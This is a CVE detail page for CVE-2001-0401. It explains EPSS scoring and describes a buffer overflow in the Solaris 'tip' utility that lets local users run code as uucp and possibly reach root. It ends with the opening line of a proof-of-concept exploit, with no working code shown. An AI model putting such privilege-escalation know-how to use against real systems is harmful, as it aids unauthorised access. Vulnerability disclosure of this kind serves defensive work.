CVE-2001-0401 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/2475/info tip is a utility included with Sun Microsystems Solaris Operating Environment. tip allows a user to establish a full duplex terminal connection with a remote host. A problem with tip could lead to a buffer overflow. Due to the improper handling of environment variables by tip, it is possible to overflow a buffer in the program, and execute arbitrary code. The tip binary is suid uucp, and exploitation could lead to an euid of uucp. Therefore, it is possible for a local user to execute arbitrary code, and gain an euid of uucp, with the potential of gaining privileges elevated to root. #include <fcntl.h> /* /usr/bin/tip overflow proof of conecpt.
